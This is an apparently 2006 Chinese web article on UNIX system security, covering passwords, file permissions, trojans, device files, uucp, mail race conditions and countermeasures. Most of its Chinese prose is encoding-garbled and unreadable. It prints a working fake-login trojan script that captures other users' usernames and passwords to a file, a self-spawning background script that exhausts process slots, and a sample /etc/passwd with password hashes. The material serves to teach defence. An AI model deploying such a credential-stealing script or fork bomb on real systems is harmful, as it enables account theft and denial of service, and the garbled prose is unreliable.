����Linux�Ż�
Linux����

UNIXϵͳ��ȫ

����ʱ��:2006-07-30 10:07:22��Դ:��������:bear10214
UNIXϵͳ��Ϊ֧�ֶ��û�����Ƶ�, ��Ϊ���û��ṩ�˷��ʻ����Ķ���;��, ͬʱҲΪ�û�֮��Ͷ��֮��ͨ���ṩ�˶��ֹ���, Ȼ���ڵ��������ϳ��ڸ���Ŀ��, δ��Ȩ��Ա������������ϵͳ. ������Խ��Խ������UNIX�����Լ������е��ļ�������ʱ, ϵͳ��ȫ��Ҳ��֮���Խ��Խ��Ҫ, ��Ȼ���Բ�ȡ��ʩ��ֹ�Ƿ�����, ����һ�ָ��Ӳ���ϵͳ����Ȼ������ʱ��Խ�ð�ȫ��Խ��, ���DZ��뾯�谲ȫ��ȱ��, ��ʱ����©��, ����ϵͳ. ������������UNIX�İ�ȫ��������, Ȼ��̽��һЩ����ȫ������, ��������Ӧ�İ�ȫ��ʩ.
I. UNIX�İ�ȫ��������
1. ע���ʶ�Ϳ���
UNIXϵͳ��, ��ȫ�Է����ĺ�����ÿ���û���ע���ʶ(loginid)�Ϳ���
(password). Ҫ�ɹ�ע�����UNIXϵͳ, ���������Ч���û���ʶ, һ�㻹����������ȷ�Ŀ���. �������Լ�����ʽ�����/etc/passwd�ļ���, ÿ���û�ռһ��, ���⼸��ϵͳ��������������ı�׼ϵͳ��ʶҲռһ��. ÿ���ɼ�����ð��(:)�ָ��������: ��1���û���ʶ, ��2�ǿ���, ��3���û���ʶ��, ��4���û����ʶ, ��5��ע��, ��6���û���Ŀ¼, ���һ�������û�ע��shell��·��ȫ��(ȱʡΪ/bin/sh).
%cat/etc/passws
root:Y0q0Fr68KMP8U:0:1:'[]':/:/bin/csh
daemon:*:1:1::/:
sys:*:2:2::/:/bin/csh
bin:*:4:8::/var/spool/uucppublic:
news:*:6:6::/var/spool/news:/bin/csh
sync::1:1::/:/bin/sync
wwm:66XGDZDOR4Fjq:349:349:Wei wei ming:/pc/wwm:/bin/csh
+::0:0:::
����UNIX�汾��, ��2�Լ�����ʽ�����û���ʵ�ʿ���. ��SVR3�Ľ��ڰ�
��ȴ������һ���������ܺ������ļ���/etc/shadow. �����ÿ���û��ı�ʶ�����ܺ�Ŀ���, �������һ���޸Ŀ����ʱ��, �����޸Ŀ�����������޺ͱ����޸Ŀ������������. /etc/shadow�е�����/etc/passwd�е��ж�Ӧ./etc/shadow�ļ�������pwconv����. �ֹ��޸�/etc/passwd�ļ���, ������������pwconv, ��֤/etc/shadow���ոս��й����޸ĸ���. ֻ�г����û��ɶ�/etc/passwd��/etc/shadow�����޸�.
����, ��ЩUNIX�汾����ʾ���һ��ʹ���û���ʶ�����. ע��ʱ��ʾ:
login : wwm
password:
Login last used : Fri Aug 7 22:24:41 CDT 1993
�����ʾʱ�������û��������Լ����ʹ�õ�ʱ��, ��ñ�ʶ�ͱ�����ռ
�ù���, ���û�Ӧ�����޸Ŀ���.����passwd�ı����, һ����������Ҫ��6���ַ���, ��������һ��(�������)�Ƿ���ĸ����, ��ô�Сд���úͲ��ó������ֱ���ַ�����, �������̵�ƽ���������û���ע���ʶ, ������Ŀ��, ������绰�����.
2. �ļ�Ȩ��
�ļ���ȫ�Dz���ϵͳ��ȫ����Ҫ�IJ���, UNIXϵͳÿһ�ļ�����һϵ�п�
����Ϣ�����˲�ͬ���û��Ը��ļ��ķ���Ȩ��. �������ļ���Ȩ��λ��ʽ:
U G T R W X/S R W X/S R W X/S
| | | �û� ͬ�� ����
�� �� ճ
�� �� �� R: �� W: д X/S : ִ��/����
�� �� λ
�������ĸ��˽��������: ��һ���˽������ǵ���uidλ, ����gidλ��ճ
��λ, ���������˽������ֱ��ʾ�ļ�������, ͬ���û��������û��Ը��ļ��ķ���Ȩ��. ����������ls -l�������ʽ:
drwxr-sr-x 3 root 512 Oct 14 1990 nserve
-rw-r--r-- 1 root 1145 Oct 14 1990 aliases
lrwxrwxrwx 1 root 10 Apr 27 14:18 adm->../var/adm
srw-rw-rw- 1 root 0 Apr 12 06:42 log
brw-rw-rw- 1 root 16, 0 Apr 27 14:47 fd0a
crw-rw-rw- 1 root 13, 0 Apr 27 14:47 mouse
����ls-l�������߸������ļ��ķ���Ȩ�޻�Ʒ��ʷ�ʽ, ���������λ
����Ϊ:
- ˵��Ϊ��ͨ�ļ�
l ˵��Ϊ�����ļ�
d ˵��ΪĿ¼
p �Ƚ��ȳ��ر��ļ�
b ˵��Ϊ���ر��豸�ļ�
c ˵��Ϊ�ַ��ر��豸�ļ�
ϵͳ�ṩ��ר�Ŵ����ļ���Ŀ¼��������ϵ�ͷ���Ȩ�����⼸������:
chown: ���Խ��ļ�����ת��
chgrp: �ı��ļ�����С��
chmod: �ı��ļ�����Ȩ��
3. Լ��shell
��׼shell�ṩ�û����๦��, ���û������ļ�ϵͳ�����ε�, Ȼ������
����UNIXϵͳ���ṩ��һ����Ϊrsh��shell, rsh�DZ�׼shell��һ���Ӽ�:
. rsh�涨Ŀ¼�ı�������Ч
. �����ַ�"/", ">"��">>"��������Ч
. ���ܸı��ļ�·������$PATH��ֵ��
����rsh���û�������һ��shell����ʱ, rsh�����ñ�׼shellȫȨִ�г�
���е���������, ��ʱ����rsh�����ƽ���������. ���, �����������ֶ�����ϵͳ����Ա����һ��ר�õ�shell����, ȡ����׼shell����, �û�ע��󼴽����shell, ����ִ������ʱ�����Զ��˳�ϵͳ, �Ӷ��ﵽ��һЩ�û������ϸ���������Ƶ�Ŀ��.
4. �ļ�����
��ȷ���ļ�Ȩ�������ƷǷ��û����ļ��ķ���, �������ų�һЩ��������
���ߺͳ����û���ȡ�ļ�.
ed, vi��emacs����༭����ѡ��-x�ṩһ�����ɲ������ļ�������, ��
װ��ʱ���ļ�����, ��дʱ�ټ���.
UNIXϵͳ���ṩ���ܽ��ܹ��˳���crypt, ������ӱ�׼�����, ���׼
���д. �е�ϵͳ���ṩDES����, �ź��������Ƕ�UNIX�ļ����㷨�˽�̫��, ��һ�ִ���crypt�ij����Ƿ�����ͨӢ���ı��кͼ����ļ����ַ��ij���Ƶ��,���, ���������ļ�������Σ�յ�, �����ǿ����ڼ���ǰ����һ�����˳���ı��ַ����ֵ�Ƶ��, ����pack:
%pack example.txt
%cat example.txt.z | crypt >out.file
����ʱҪ����(unpack)��һ�ļ�, ����ѹ����ͨ���ɽ�Լռԭ�ļ�20%��
40%�Ŀռ�.
%cat out.file | crypt >example.txt.z
%unpack example.txt.z
��Ȼ, ���ļ�д���̻�Ŵ���, ɾ�������е�ԭ�ļ�, ���Ʊ��ܴŽ�����
��յķ���.
II. ����ȫ������
1. ����
����UNIX�����û������ÿ���, ����Ƿ��û���ͨ��/etc/passwd�ļ���
��δʹ�ÿ�����û�(���߼�ʹ�����˿���, ȴй¶�˳�ȥ), ������������ϵͳ, ��ȡ���ƻ����û����ļ�.������ǿ���²������, �����߲��ϵ�������ܵĿ���(�����ɳ������), ���м��ܲ���/etc/passwd�ļ��еĿ������ıȽ�, ֱ���ɹ��ػ��ijһ�û��Ŀ���Ϊֹ. ��Ȼ��ȽϷ�ʱ, �������û���ѡ�����ʱ�ľ�����, �ɹ������ӻ��Ǻܶ��.
2. �ļ�
������ȷ�����ļ�Ȩ��, ijЩ���ÿ��������ļ��IJ���ȫ����, �����ǿ�
���������˲���ȷȨ�޵��ļ�������:
-rwxrwxrwx 1 root 1496 Oct 14 1990 /bin/tty
drwxrwxrwx 7 bin 2048 Aug 7 07:57 etc
-rwsrwxrwx 1 root 8832 Oct 14 1990 /bin/df
����/bin/tty�κ��û�����д����, ��ν��˭������ֱ���޸Ĵ��������
��һ�ļ��滻������, ��������������صĺ��.Ŀ¼/etc�������û���д����, �������û����޸Ļ��滻��Ŀ¼�µ�passwd�ļ�, ����ʹ�����û�û�п���, �Ӷ�����Ȩ��������ϵͳ./bin/df�ǵ���uid��, �Ը�������д����, ���û�������/bin/sh�滻��df����, Ȼ��ִ��(ʵ����/bin/sh)����ó����û���Ȩ.
���������ӿɿ���, �ļ���дȨ�������Dz���ȫ������, ����Ŀ¼��ʹ��
����λ���ļ���˵����Σ��.
3. ������ľ��
Ҳ�������εIJ���ȫ������������ľ��, ���ǻ��ϵͳ��Ȩ���û������
һ����Ч����. �����ǿ���������:
#! /bin/sh
# trap V1.o 1992.3.28
# Function: Get the other user's password
# Usage: trap pid
if [ $# -ne 2 ]; then
echo "ERROR: invalid numbers of arguments"
echo "Usage: trap pid"
exit 1
fi
clear
# change interrupt character. The default is DEL.
stty instr +
while [ 1]
do
echo -n ":V& login: "
read username
if[ "$username" != "" ]; then
break
fi
done
stty -echo
echo -n "Password: "
read passwd
echo ""
echo $username $passwd >> /f/wwm/tmp/login
sleep 1
echo "Login incorrect"
stty echo
# reset default interrupt character DEL (^?).
stty intr
# logout yourself username.
kill -9 $1
# OK.
�����shell����αװ��¼�����, �Ƿ��û���ij�ն������иó������
��, �ȴ���ƭ�ߵĵ���, �Ϳ��������߸��û��Ŀ���.
����һЩ��������������������ij�û���һ��Ŀ¼��ֲ������ľ������,
һ�����û��ڴ�Ŀ¼��ִ�д˳���, �����߱���Ի�ȡ���û�Ȩ��, �����ƻ��û��ļ�, ��αװ��pwd����, ls�����su�����.
4. �豸�����ļ�
UNIXϵͳ�������豸(���豸���ַ��豸)�������ļ�����, ��Ϊ�ر��ļ�, ����/devĿ¼��, �����ر��ļ��ķ���, ��ʵ�Ͼͷ����������豸. ��Щ�ر��ļ���ϵͳ��ȫ��һ����Ҫ����.
1) �ڴ�
�������ڴ��ϵͳ��ռ�, System V �ṩ����Ӧ���ļ�/dev/mem��/dev/kmem, mem���ڴ�ӳ���һ���ر��ļ�, ���������ڼ���(�����޲�)ϵͳ. �����ļ��û��ɸ�д, ���������ֲ������ľ����ͨ����ȡ�͸�д�������ݶ���ȡϵͳ��Ȩ.
2) ���豸
�����ļ�ϵͳ�IJ�����Ȼǣ�浽���豸�Ķ�д, UNIX System V�Կ��豸
�Ĺ�����Ϊ����, ��߲������ļ�ϵͳ�Ľӿ�, �������豸�ĸ��ֶ�д����. �������, ���һ�������з���Ȩ��, �Ϳ����޸����ϵ��ļ�, UNIX������װ��ͬ������Ϊ�ļ�ϵͳ, �Ƿ��û�����ͨ����װ�Լ���������Ϊ�ļ�ϵͳ, �������������޸ĺ��ϵͳ�ļ�, ��һЩ����root��setuid����, �������Ϳ��԰�װ�Լ����ļ�ϵͳ, ִ�зǷ���setuid����, ��ȡ���ߵ���Ȩ.
3) �ַ��豸
�����ն��豸, ��UNIX��, ÿ���û���ͨ���ն˽���ϵͳ, �û�����¼��
���ն��ж�дȨ��. ����UNIX���ļ�Ȩ�޵ļ������ֻ�ڴ򿪲���(openϵͳ����)ʱ����, ���IJ����������ټ��, ���ijЩ�û�����ϵͳ����Ա�дһ������, ��ȡ����û�¼����ն˵�������Ϣ.
5. ����
UNIX�����������Ҫ��uucp(UNIX to UNIX copy), uucp������UNIXϵͳ
֮�䴫���ļ���Զ��ִ������. ������ʷ��ԭ��, ��������UNIXϵͳ�����ȫ�IJ���.
һ��������û�����ʹ��uucp����Զ��ϵͳ��/etc/passwd�ļ�, ���δ
ʹ�ÿ�����û�, �Ӷ�ͨ�����û�����Զ��ϵͳ; ��һ����������uucp������δ���ܵ�Զ��uucp�ŵĿ������һ����ͨϵͳ�ļ�/usr/lib/uucp/L.sys��, �Ƿ��û�����ȡrootȨ�޺�ͨ����ȡ���ļ������ÿһԶ��uucp�ʺŵĿ���, �����ƻ�Զ��ϵͳ.
6. ����
1) �ʼ�
��BSD, SUNOS�Ȱ汾��, ʵ�ó���/bin/mail���ȵ���mktemp()�õ���ʱ
�ļ�, Ȼ���ж��Ƿ��Ż��Ƕ���. mail�����ڵõ��ļ�������ļ�д��ǰ, mail���̿��ܻ���Ϊʱ��Ƭ��������ȷ���CPU, ��ʱ��������ռ��CPU��,�ɽ�ijЩ��Ҫ��ϵͳ�ļ�����ʱ�ļ�����, �ȵ�mail�ٴ�����ʱ, ��Ҫд�����ʱ�ļ�ʵ�����ѱ��ϵͳ�ļ�(��/etc/passwd), �����Ϳ����״۸�ϵͳ�ļ�.
2) ��̨����
shell�ṩ������&ʹ�û��ں�̨��������, UNIXϵͳ�����û���������
��̨����, ֱ��ϵͳ�����ڲ�˵�������ֵ, ��Զδ�ﵽ��һ����֮ʱ, ϵͳ���ܼ���ʼ����. �ź�����, �ܶ�UNIX�汾��ps����ܺܺõط�ӳ��̨���̵�״̬. ������һ���dz��򵥵�shell����:
% cat call-self
call-self
% call-self &
Ͷ���̨��ʽ���к�, ������������ֹ�Ľ���, ��ʹ��rootҲ�޷���kill
������ֹ��, ֻ��ֱ��ϵͳ����. ��������·�ʽ����, ����ֽ����?
% cat call-self
call-self &
% call-self &
3) �������
Ϊʹ����̶��ܹ���ƽ���ʻ����ĵ�CPU, ����ϵͳ�ڵķ�ʱ����������
ijһ���̺ľ�Ӧ������CPU��Դ���л�����һ����, UNIX�ṩ�˼�ʱ�͵��ȹ���, ��at��batch����. �������Ȩ�û��嵥�ļ�/usr/lib/cron�µ�at.allow��at.deny�ļ�Ȩ�����ò���, δ��Ȩ�û����ܾͻ��ϵͳ��ɼ�����ƻ�.����, ��������Ϸ, �ܶ���Ϸ�������һЩ�м��ļ�, ��Щ��������������߾Ϳ��ܻ����Щ�ļ�����. ���, ����Ҳ�������Ϸ��߾���.
III. ��ȫ��ʩ
1. ϵͳ����Ա
ϵͳ����Ա������ά������ϵͳ��ȫ����Ҫʹ��, ��������ع���ϵͳ:
1) ��ȷ����ϵͳ�ļ���ϵͳĿ¼�ķ���Ȩ��
2) ѡ��root����, �����ڸ���. ����ȷ��root�û���Ȩ��, ��ֹ���Ϸ�
�û������ʺ�
3) �������sulog�ļ�, ���ҿ��ܵ��������ټ�
4) ���/usr/lib/crontab�ļ�����, ��ֹ���������ƻ��ļ�ϵͳ����ֲ
������ľ��
5) ��ϸ�Ͽ��û���װ�Լ����ļ�ϵͳ
6) �������绷��:
. ��ֹ��Ϣ����й¶
. ��ֹͨ��������
. �����ϢԴ���޸�
. ����豸����
. ������������ð��
2. �û�
�û�Ҫ��֤�Լ�����Ϣ, ��������ȷ�����ð�ȫ��������:
1) ѡ��ÿ���, �������, ���ڸ���
2) ��ϸ����.profile, umask��PATH
3) ����Ҫ����ʹ�ü���, �����ñ���
4) ��ͨ���ն�¼��ϵͳʱ, �������һ���ն�, ��ֹ��թ
5) �뿪�ն�ʱ, һ��Ҫ�˳�ϵͳ
�ܽ�
��������������UNIXϵͳ��һЩ��ȫ��������:
1.ע���ʶ�Ϳ�����UNIXϵͳ��ȫ�Է����ĺ���;
2.�ļ���ȫ�Dz���ϵͳ��ȫ����Ҫ�IJ���, UNIXϵͳ��ÿһ�ļ�����һϵ�п�����Ϣ�����˲�ͬ���û��Ը��ļ��ķ���Ȩ��;
3.Լ��SHELL�涨��׼SHELL��һЩ������Ч, ��ı�·�����ض���������Ч;
4.�ļ������DZ����û���Ҫ�ļ��������˵�ȡ��һ�ֱ�Ҫ�ֶ�.
Ȼ��̽����һЩ����ȫ������:
1.����, �Ƿ��û���ͨ��δʹ�ÿ�������й���˵��û�ע���ʶ����ϵͳ, ���߱�д����²�����ȡ�����û����������û�����, �Ӷ���ȡ���ƻ��û��ļ�;
2.�ļ�, �����˲���ȷȨ�޵��ļ��Dz���ȫ��һ����Ҫ����;
3.������ľ��, �ǻ�ȡϵͳ��Ȩ���û������һ����Ч����, Ҳ���������εIJ���ȫ����;
4.�豸�����ļ�, �������豸���ַ��豸;
5.����, ������ʷ��ԭ��, ��������UNIXϵͳ�����ȫ�IJ���;
6.����, ���ʼ�, ��̨����, ������Ⱥ���Ϸ��.
��������ϵͳ����Ա���û������ȡ��һЩ��ȫ��ʩ.
��������

���� 0 ������